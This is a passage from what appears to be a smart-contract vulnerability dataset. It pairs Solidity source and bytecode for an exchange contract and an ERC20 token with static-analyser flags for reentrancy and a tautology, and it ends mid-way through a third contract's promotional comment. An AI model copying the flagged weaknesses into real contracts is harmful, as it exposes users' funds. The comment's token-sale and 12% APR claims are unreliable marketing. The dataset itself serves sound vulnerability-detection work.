Message:\n32", hash),v,r,s) == user) && block.number <= expires && safeAdd(orderFills[user][hash], amount) <= amountGet )) throw; tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); } function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); uint feeRebateXfer = 0; if (accountLevelsAddr != 0x0) { uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); if (accountLevel==2) feeRebateXfer = feeTakeXfer; } tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer)); tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); } function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) { if (!( tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount )) return false; return true; } function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires )) return 0; uint available1 = safeSub(amountGet, orderFills[user][hash]); uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; if (available1<available2) return available1; return available2; } function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); return orderFills[user][hash]; } function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw; orderFills[msg.sender][hash] = amountGet; Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s); } }
0x606060405236156101385763ffffffff60e060020a6000350416630a19b14a811461014d5780630b9276661461019957806319774d43146101ca578063278b8c0e146101fb5780632e1a7d4d14610239578063338b5dea1461024e57806346be96c31461026f578063508493bc146102c757806354d03b5c146102fb57806357786394146103105780635e1d7ae41461033257806365e17c9d146103475780636c86888b1461037357806371ffcb16146103dc578063731c2f81146103fa5780638823a9c01461041c5780638f283970146104315780639e281a981461044f578063bb5f462914610470578063c281309e146104a3578063d0e30db0146104c5578063e8f6bc2e146104cf578063f3412942146104ed578063f7888aec14610519578063f851a4401461054d578063fb6e155f14610579575b341561014057fe5b61014b5b610000565b565b005b341561015557fe5b61014b600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e435166101043561012435610144356105d1565b005b34156101a157fe5b61014b600160a060020a03600435811690602435906044351660643560843560a435610896565b005b34156101d257fe5b6101e9600160a060020a03600435166024356109a7565b60408051918252519081900360200190f35b341561020357fe5b61014b600160a060020a03600435811690602435906044351660643560843560a43560ff60c4351660e435610104356109c4565b005b341561024157fe5b61014b600435610bd4565b005b341561025657fe5b61014b600160a060020a0360043516602435610cf2565b005b341561027757fe5b6101e9600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e435166101043561012435610e46565b60408051918252519081900360200190f35b34156102cf57fe5b6101e9600160a060020a0360043581169060243516610f33565b60408051918252519081900360200190f35b341561030357fe5b61014b600435610f50565b005b341561031857fe5b6101e9610f83565b60408051918252519081900360200190f35b341561033a57fe5b61014b600435610f89565b005b341561034f57fe5b610357610fc8565b60408051600160a060020a039092168252519081900360200190f35b341561037b57fe5b6103c8600160a060020a0360043581169060243590604435811690606435906084359060a4359060c43581169060ff60e43516906101043590610124359061014435906101643516610fd7565b604080519115158252519081900360200190f35b34156103e457fe5b61014b600160a060020a0360043516611042565b005b341561040257fe5b6101e961107c565b60408051918252519081900360200190f35b341561042457fe5b61014b600435611082565b005b341561043957fe5b61014b600160a060020a03600435166110c1565b005b341561045757fe5b61014b600160a060020a03600435166024356110fb565b005b341561047857fe5b6103c8600160a060020a0360043516602435611299565b604080519115158252519081900360200190f35b34156104ab57fe5b6101e96112b9565b60408051918252519081900360200190f35b61014b6112bf565b005b34156104d757fe5b61014b600160a060020a0360043516611361565b005b34156104f557fe5b61035761139b565b60408051600160a060020a039092168252519081900360200190f35b341561052157fe5b6101e9600160a060020a03600435811690602435166113aa565b60408051918252519081900360200190f35b341561055557fe5b6103576113d7565b60408051600160a060020a039092168252519081900360200190f35b341561058157fe5b6101e9600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e4351661010435610124356113e6565b60408051918252519081900360200190f35b60006002308d8d8d8d8d8d6000604051602001526040518088600160a060020a0316600160a060020a0316606060020a02815260140187600160a060020a0316600160a060020a0316606060020a02815260140186815260200185600160a060020a0316600160a060020a0316606060020a0281526014018481526020018381526020018281526020019750505050505050506020604051808303816000866161da5a03f1151561067e57fe5b50506040805151600160a060020a0388166000908152600760209081528382208383529052919091205490915060ff16806107625750604080517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c8101839052815190819003603c018120600082815260208381018552928401819052835191825260ff891682840152818401889052606082018790529251600160a060020a038a16936001936080808501949193601f198101939281900390910191866161da5a03f1151561074e57fe5b505060206040510351600160a060020a0316145b801561076e5750874311155b80156107a85750600160a060020a03861660009081526008602090815260408083208484529091529020548b906107a5908461162d565b11155b15156107b357610000565b6107c18c8c8c8c8a87611655565b600160a060020a03861660009081526008602090815260408083208484529091529020546107ef908361162d565b600160a060020a03871660009081526008602090815260408083208584529091529020557f6effdda786735d5033bfad5f53e5131abcced9e52be6c507b62d639685fbed6d8c838c8e8d830281151561084457fe5b60408051600160a060020a039687168152602081019590955292851684840152046060830152828a166080830152339290921660a082015290519081900360c00190a15b505050505050505050505050565b60408051600060209182018190528251606060020a600160a060020a0330811682028352808c1682026014840152602883018b90528916026048820152605c8101879052607c8101869052609c81018590529251909260029260bc808301939192829003018186866161da5a03f1151561090c57fe5b5050604080518051600160a060020a03338116600081815260076020908152868220858352815290869020805460ff191660011790558c8316855284018b905290891683850152606083018890526080830187905260a0830186905260c083015291519192507f3f7f2eda73683c21a15f9435af1028c93185b5f1fa38270762dc32be606b3e85919081900360e00190a15b50505050505050565b600860209081526000928352604080842090915290825290205481565b60408051600060209182018190528251606060020a600160a060020a0330811682028352808f1682026014840152602883018e90528c16026048820152605c81018a9052607c8101899052609c81018890529251909260029260bc808301939192829003018186866161da5a03f11515610a3a57fe5b50506040805151600160a060020a0333166000908152600760209081528382208383529052919091205490915060ff1680610b1e5750604080517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c8101839052815190819003603c018120600082815260208381018552928401819052835191825260ff881682840152818401879052606082018690529251600160a060020a033316936001936080808501949193601f198101939281900390910191866161da5a03f11515610b0a57fe5b505060206040510351600160a060020a0316145b1515610b2957610000565b600160a060020a0333811660008181526008602090815260408083208684528252918290208d905581518e851681529081018d9052928b1683820152606083018a90526080830189905260a0830188905260c083019190915260ff861660e083015261010082018590526101208201849052517f1e0b760c386003e9cb9bcf4fcf3997886042859d9b6ed6320e804597fcdb28b0918190036101400190a15b50505050505050505050565b33600160a060020a0316600090815260008051602061198a833981519152602052604090205481901015610c0757610000565b33600160a060020a0316600090815260008051602061198a8339815191526020526040902054610c379082611931565b33600160a060020a0316600081815260008051602061198a8339815191526020526040808220939093559151909183919081818185876185025a03f1925050501515610c8257610000565b600160a060020a033316600081815260008051602061198a8339815191526020908152604080832054815193845291830193909352818301849052606082015290517ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679181900360800190a15b50565b600160a060020a0382161515610d0757610000565b604080516000602091820181905282517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0333811660048301523081166024830152604482018690529351938616936323b872dd9360648084019491938390030190829087803b1515610d7f57fe5b60325a03f11515610d8c57fe5b50506040515115159050610d9f57610000565b600160a060020a0380831660009081526006602090815260408083203390941683529290522054610dd0908261162d565b600160a060020a038381166000818152600660209081526040808320339095168084529482529182902085905581519283528201929092528082018490526060810192909252517fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79181900360800190a15b5050565b600060006002308d8d8d8d8d8d6000604051602001526040518088600160a060020a0316600160a060020a0316606060020a02815260140187600160a060020a0316600160a060020a0316606060020a02815260140186815260200185600160a060020a0316600160a060020a0316606060020a0281526014018481526020018381526020018281526020019750505050505050506020604051808303816000866161da5a03f11515610ef557fe5b50506040805151600160a060020a03881660009081526008602090815283822083835290529190912054925090505b509a9950505050505050505050565b600660209081526000928352604080842090915290825290205481565b60005433600160a060020a03908116911614610f6b57610000565b600354811115610f7a57610000565b60038190555b50565b60035481565b60005433600160a060020a03908116911614610fa457610000565b600554811080610fb5575060045481115b15610fbf57610000565b60058190555b50565b600154600160a060020a031681565b600160a060020a03808d16600090815260066020908152604080832093851683529290529081205483901080159061102057508261101d8e8e8e8e8e8e8e8e8e8e6113e6565b10155b151561102e57506000611032565b5060015b9c9b505050505050505050505050565b60005433600160a060020a0390811691161461105d57610000565b60018054600160a060020a031916600160a060020a0383161790555b50565b60055481565b60005433600160a060020a0390811691161461109d57610000565b6004548111806110ae575060055481105b156110b857610000565b60048190555b50565b60005433600160a060020a039081169116146110dc57610000565b60008054600160a060020a031916600160a060020a0383161790555b50565b600160a060020a038216151561111057610000565b600160a060020a03808316600090815260066020908152604080832033909416835292905220548190101561114457610000565b600160a060020a03808316600090815260066020908152604080832033909416835292905220546111759082611931565b600160a060020a03808416600081815260066020908152604080832033909516808452948252808320959095558451810182905284517fa9059cbb0000000000000000000000000000000000000000000000000000000081526004810194909452602484018690529351919363a9059cbb936044808201949293918390030190829087803b151561120257fe5b60325a03f1151561120f57fe5b5050604051511515905061122257610000565b600160a060020a03808316600081815260066020908152604080832033959095168084529482529182902054825193845290830193909352818101849052606082019290925290517ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679181900360800190a15b5050565b600760209081526000928352604080842090915290825290205460ff1681565b60045481565b33600160a060020a0316600090815260008051602061198a83398151915260205260409020546112ef903461162d565b33600160a060020a0316600081815260008051602061198a8339815191526020908152604080832085905580519283529082019290925234818301526060810192909252517fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79181900360800190a15b565b60005433600160a060020a0390811691161461137c57610000565b60028054600160a060020a031916600160a060020a0383161790555b50565b600254600160a060020a031681565b600160a060020a038083166000908152600660209081526040808320938516835292905220545b92915050565b600054600160a060020a031681565b60006000600060006002308f8f8f8f8f8f6000604051602001526040518088600160a060020a0316600160a060020a0316606060020a02815260140187600160a060020a0316600160a060020a0316606060020a02815260140186815260200185600160a060020a0316600160a060020a0316606060020a0281526014018481526020018381526020018281526020019750505050505050506020604051808303816000866161da5a03f1151561149957fe5b50506040805151600160a060020a038a166000908152600760209081528382208383529052919091205490935060ff168061157d5750604080517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c8101859052815190819003603c018120600082815260208381018552928401819052835191825260ff8b16828401528184018a9052606082018990529251600160a060020a038c16936001936080808501949193601f198101939281900390910191866161da5a03f1151561156957fe5b505060206040510351600160a060020a0316145b80156115895750894311155b1515611598576000935061161c565b600160a060020a03881660009081526008602090815260408083208684529091529020546115c7908e90611931565b600160a060020a03808e166000908152600660209081526040808320938d16835292905220549092508b906115fc908f61194a565b81151561160557fe5b049050808210156116185781935061161c565b8093505b5050509a9950505050505050505050565b600082820161164a8482108015906116455750838210155b611979565b8091505b5092915050565b6000600060006000670de0b6b3a76400006116728660035461194a565b81151561167b57fe5b049350670de0b6b3a76400006116938660045461194a565b81151561169c57fe5b600254919004935060009250600160a060020a03161561177257600254604080516000602091820181905282517f1cbd0519000000000000000000000000000000000000000000000000000000008152600160a060020a038b8116600483015293519390941693631cbd0519936024808301949391928390030190829087803b151561172457fe5b60325a03f1151561173157fe5b505060405151915050600181141561176557670de0b6b3a76400006117588660055461194a565b81151561176157fe5b0491505b8060021415611772578291505b5b600160a060020a03808b16600090815260066020908152604080832033909416835292905220546117ad906117a8878661162d565b611931565b600160a060020a038b81166000908152600660209081526040808320338516845290915280822093909355908816815220546117fb906117f66117f0888661162d565b87611931565b61162d565b600160a060020a038b811660009081526006602090815260408083208b85168452909152808220939093556001549091168152205461184c906117f6611841878761162d565b85611931565b61162d565b600160a060020a03808c166000908152600660208181526040808420600154861685528252808420959095558c84168352908152838220928a1682529190915220546118ac908a61189d8a8961194a565b8115156118a657fe5b04611931565b600160a060020a0389811660009081526006602090815260408083208b851684529091528082209390935533909116815220546118fd908a6118ee8a8961194a565b8115156118f757fe5b0461162d565b600160a060020a03808a16600090815260066020908152604080832033909416835292905220555b50505050505050505050565b600061193f83831115611979565b508082035b92915050565b600082820261164a841580611645575083858381151561196657fe5b04145b611979565b8091505b5092915050565b801515610cef57610000565b5b50560054cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8a165627a7a723058204b925f7838bb9f23576e57917ed609bca82cb0448210e59a41c16b52759884b00029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,740
0x7954a912b4e6954f183b5cded9a573f16b22a759
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } contract ERC20 { /// @return total amount of tokens uint public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public constant returns (uint balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint _value) public returns (bool success); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract NPToken is ERC20 { using SafeMath for uint; uint constant private MAX_UINT256 = 2**256 - 1; uint8 constant public decimals = 18; string public name; string public symbol; address public owner; // True if transfers are allowed bool public transferable = true; /* This creates an array with all balances */ mapping (address => uint) freezes; mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowed; modifier onlyOwner { require(msg.sender == owner);//"Only owner can call this function." _; } modifier canTransfer() { require(transferable == true); _; } /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint value); /* Initializes contract with initial supply tokens to the creator of the contract */ function NPToken() public { totalSupply = 1000*10**26; // Update total supply with the decimal amount name = "Nepal Token"; symbol = "NPT"; balances[msg.sender] = totalSupply; // Give the creator all initial tokens owner = msg.sender; emit Transfer(address(0), msg.sender, totalSupply); } /* Send coins */ function transfer(address _to, uint _value) public canTransfer returns (bool success) { require(_to != address(0));// Prevent transfer to 0x0 address. require(_value > 0); require(balances[msg.sender] >= _value); // Check if the sender has enough require(balances[_to] + _value >= balances[_to]); // Check for overflows balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint _value) public canTransfer returns (bool success) { uint allowance = allowed[_from][msg.sender]; require(_to != address(0));// Prevent transfer to 0x0 address. require(_value > 0); require(balances[_from] >= _value); // Check if the sender has enough require(allowance >= _value); // Check allowance require(balances[_to] + _value >= balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient if (allowance < MAX_UINT256) { allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); } emit Transfer(_from, _to, _value); return true; } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint _value) public canTransfer returns (bool success) { require(_value >= 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } function freezeOf(address _owner) public view returns (uint freeze) { return freezes[_owner]; } function burn(uint _value) public canTransfer returns (bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } function freeze(uint _value) public canTransfer returns (bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough require(_value > 0); require(freezes[msg.sender] + _value >= freezes[msg.sender]); // Check for overflows balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender freezes[msg.sender] = freezes[msg.sender].add(_value); emit Freeze(msg.sender, _value); return true; } function unfreeze(uint _value) public canTransfer returns (bool success) { require(freezes[msg.sender] >= _value); // Check if the sender has enough require(_value > 0); require(balances[msg.sender] + _value >= balances[msg.sender]); // Check for overflows freezes[msg.sender] = freezes[msg.sender].sub(_value); // Subtract from the sender balances[msg.sender] = balances[msg.sender].add(_value); emit Unfreeze(msg.sender, _value); return true; } /** * @dev Transfer tokens to multiple addresses * @param _addresses The addresses that will receieve tokens * @param _amounts The quantity of tokens that will be transferred * @return True if the tokens are transferred correctly */ function transferForMultiAddresses(address[] _addresses, uint[] _amounts) public canTransfer returns (bool) { for (uint i = 0; i < _addresses.length; i++) { require(_addresses[i] != address(0)); // Prevent transfer to 0x0 address. require(_amounts[i] > 0); require(balances[msg.sender] >= _amounts[i]); // Check if the sender has enough require(balances[_addresses[i]] + _amounts[i] >= balances[_addresses[i]]); // Check for overflows // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_amounts[i]); balances[_addresses[i]] = balances[_addresses[i]].add(_amounts[i]); emit Transfer(msg.sender, _addresses[i], _amounts[i]); } return true; } function stop() public onlyOwner { transferable = false; } function start() public onlyOwner { transferable = true; } function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; } // transfer balance to owner function withdrawEther(uint amount) public onlyOwner { require(amount > 0); owner.transfer(amount); } // can accept ether function() public payable { } }
0x6060604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461011357806307da68f51461019d578063095ea7b3146101b057806318160ddd146101e6578063204009d21461020b57806323b872dd1461029a578063313ce567146102c25780633bed33ce146102eb57806342966c68146103015780636623fc461461031757806370a082311461032d5780638da5cb5b1461034c57806392ff0d311461037b57806395d89b411461038e578063a9059cbb146103a1578063be9a6555146103c3578063cd4217c1146103d6578063d7a78db8146103f5578063dd62ed3e1461040b578063f2fde38b14610430575b005b341561011e57600080fd5b61012661044f565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561016257808201518382015260200161014a565b50505050905090810190601f16801561018f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a857600080fd5b6101116104ed565b34156101bb57600080fd5b6101d2600160a060020a0360043516602435610528565b604051901515815260200160405180910390f35b34156101f157600080fd5b6101f96105bd565b60405190815260200160405180910390f35b341561021657600080fd5b6101d26004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506105c395505050505050565b34156102a557600080fd5b6101d2600160a060020a0360043581169060243516604435610870565b34156102cd57600080fd5b6102d5610a5f565b60405160ff909116815260200160405180910390f35b34156102f657600080fd5b610111600435610a64565b341561030c57600080fd5b6101d2600435610ac2565b341561032257600080fd5b6101d2600435610bb1565b341561033857600080fd5b6101f9600160a060020a0360043516610ce1565b341561035757600080fd5b61035f610cfc565b604051600160a060020a03909116815260200160405180910390f35b341561038657600080fd5b6101d2610d0b565b341561039957600080fd5b610126610d1b565b34156103ac57600080fd5b6101d2600160a060020a0360043516602435610d86565b34156103ce57600080fd5b610111610ed2565b34156103e157600080fd5b6101f9600160a060020a0360043516610f13565b341561040057600080fd5b6101d2600435610f2e565b341561041657600080fd5b6101f9600160a060020a036004358116906024351661105e565b341561043b57600080fd5b610111600160a060020a0360043516611089565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b505050505081565b60035433600160a060020a0390811691161461050857600080fd5b6003805474ff000000000000000000000000000000000000000019169055565b60035460009060a060020a900460ff16151560011461054657600080fd5b600082101561055457600080fd5b600160a060020a03338116600081815260066020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b600354600090819060a060020a900460ff1615156001146105e357600080fd5b5060005b83518110156108665760008482815181106105fe57fe5b90602001906020020151600160a060020a0316141561061c57600080fd5b600083828151811061062a57fe5b906020019060200201511161063e57600080fd5b82818151811061064a57fe5b90602001906020020151600160a060020a033316600090815260056020526040902054101561067857600080fd5b6005600085838151811061068857fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020548382815181106106bf57fe5b90602001906020020151600560008785815181106106d957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205401101561070957600080fd5b61074783828151811061071857fe5b90602001906020020151600160a060020a0333166000908152600560205260409020549063ffffffff6110d316565b600160a060020a0333166000908152600560205260409020556107b983828151811061076f57fe5b906020019060200201516005600087858151811061078957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff6110e516565b600560008684815181106107c957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558381815181106107f957fe5b90602001906020020151600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85848151811061084357fe5b9060200190602002015160405190815260200160405180910390a36001016105e7565b5060019392505050565b600354600090819060a060020a900460ff16151560011461089057600080fd5b50600160a060020a038085166000908152600660209081526040808320338516845290915290205490841615156108c657600080fd5b600083116108d357600080fd5b600160a060020a038516600090815260056020526040902054839010156108f957600080fd5b8281101561090657600080fd5b600160a060020a038416600090815260056020526040902054838101101561092d57600080fd5b600160a060020a038516600090815260056020526040902054610956908463ffffffff6110d316565b600160a060020a03808716600090815260056020526040808220939093559086168152205461098b908463ffffffff6110e516565b600160a060020a038516600090815260056020526040902055600019811015610a0d57600160a060020a03808616600090815260066020908152604080832033909416835292905220546109e5908463ffffffff6110d316565b600160a060020a03808716600090815260066020908152604080832033909416835292905220555b83600160a060020a031685600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405190815260200160405180910390a3506001949350505050565b601281565b60035433600160a060020a03908116911614610a7f57600080fd5b60008111610a8c57600080fd5b600354600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515610abf57600080fd5b50565b60035460009060a060020a900460ff161515600114610ae057600080fd5b600160a060020a03331660009081526005602052604090205482901015610b0657600080fd5b60008211610b1357600080fd5b600160a060020a033316600090815260056020526040902054610b3c908363ffffffff6110d316565b600160a060020a03331660009081526005602052604081209190915554610b69908363ffffffff6110d316565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2506001919050565b60035460009060a060020a900460ff161515600114610bcf57600080fd5b600160a060020a03331660009081526004602052604090205482901015610bf557600080fd5b60008211610c0257600080fd5b600160a060020a0333166000908152600560205260409020548281011015610c2957600080fd5b600160a060020a033316600090815260046020526040902054610c52908363ffffffff6110d316565b600160a060020a033316600090815260046020908152604080832093909355600590522054610c87908363ffffffff6110e516565b600160a060020a0333166000818152600560205260409081902092909255907f2cfce4af01bcb9d6cf6c84ee1b7c491100b8695368264146a94d71e10a63083f9084905190815260200160405180910390a2506001919050565b600160a060020a031660009081526005602052604090205490565b600354600160a060020a031681565b60035460a060020a900460ff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b60035460009060a060020a900460ff161515600114610da457600080fd5b600160a060020a0383161515610db957600080fd5b60008211610dc657600080fd5b600160a060020a03331660009081526005602052604090205482901015610dec57600080fd5b600160a060020a0383166000908152600560205260409020548281011015610e1357600080fd5b600160a060020a033316600090815260056020526040902054610e3c908363ffffffff6110d316565b600160a060020a033381166000908152600560205260408082209390935590851681522054610e71908363ffffffff6110e516565b600160a060020a0380851660008181526005602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60035433600160a060020a03908116911614610eed57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a179055565b600160a060020a031660009081526004602052604090205490565b60035460009060a060020a900460ff161515600114610f4c57600080fd5b600160a060020a03331660009081526005602052604090205482901015610f7257600080fd5b60008211610f7f57600080fd5b600160a060020a0333166000908152600460205260409020548281011015610fa657600080fd5b600160a060020a033316600090815260056020526040902054610fcf908363ffffffff6110d316565b600160a060020a033316600090815260056020908152604080832093909355600490522054611004908363ffffffff6110e516565b600160a060020a0333166000818152600460205260409081902092909255907ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e09084905190815260200160405180910390a2506001919050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146110a457600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000828211156110df57fe5b50900390565b6000828201838110156110f457fe5b93925050505600a165627a7a72305820acf2b791827f9d34ce836a3c1e3a364430939cfb433f1e051b7f9c84f494975e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
1,741
0x96c9fcd45bea05b848e6e8551ad33d4d08194e4b
/* GREENSWAP PROTOCOL V1 Official Launch! We have been so busy the last two weeks developing our Version 2 GreenSwap Protocol with its layer 2 scaling solution (which will utilise Ethereum Mainnet) that we almost forgot to tell you all about our Version 1 GreenSwap DApp !!!! The GreenSwap Version 1 DApp has been fully functional for the past week or more! That’s correct, you can start adding liquidity right now from https://greenswap.exchange and start earning transactional fee rewards! We also have our GRNS token sale that has officially launched, stakers of GRNS Token can earn a whopping 12% APR! You might ask why we haven’t been scrounging around for money and asking our customers to fund our development and that’s actually because we wanted to build our DApp and have it working before we asked you to use it and take part in our ecosystem… It means you can put your GRNS tokens to work immediately because we are ready to rock’n’roll and are open for business. We will thank you in advance and would like to formally welcome you to start buying and selling your tokens on app.GreenSwap.org !! We would love to feature your new game changing project and be your one stop swap, stake, market creation decentralised space! Our layer 2 scaling solution, AKA GREENSWAP Protocol V2 is in heavy development currently and will be ready within the next 14–21 days!!! That means that you need to get ready for super fast / super cheap swapping!!! It’s not a mirage, we don’t want you to fund it, just come and join us and use it!! Be sure to check out our bug bounty and take part in it if you find anything wrong with our code! Welcome to GreenSwap! Let’s make 2021 about everything decentralised and kick COVID to another galaxy! GreenSwap Protocol proudly present GRNSstarter Incubator & IDO Launchpad on Ethereum Blocks GreenSwap Protocol crew proudly announce GRNSstarter Incubator & IDO Launchpad V1 on BSC (Binance Smart Chain) , our V2 will be powered by Ethereum Mainnet. Post Ethereum Mainnet integration, both iterations will function side by side to support BSC and DOT projects respectively. The GreenSwap / GRNSstarter Dev team are currently working frantically coding and preparing to stand up an all new feature rich launchpad to assist in nurturing Start-ups and New Projects through fundraising stages all the way through to market. The GRNSstarter vision is to assist everyday retail investors and contributors the chance to get in on the ground floor in projects that may otherwise be quickly snapped up by Venture Capital firms. We believe that everyone has an equal right to sharing the love. What can you expect from GRNSstarter? GRNSstarter is a vessel which allows for start-ups projects the ability to 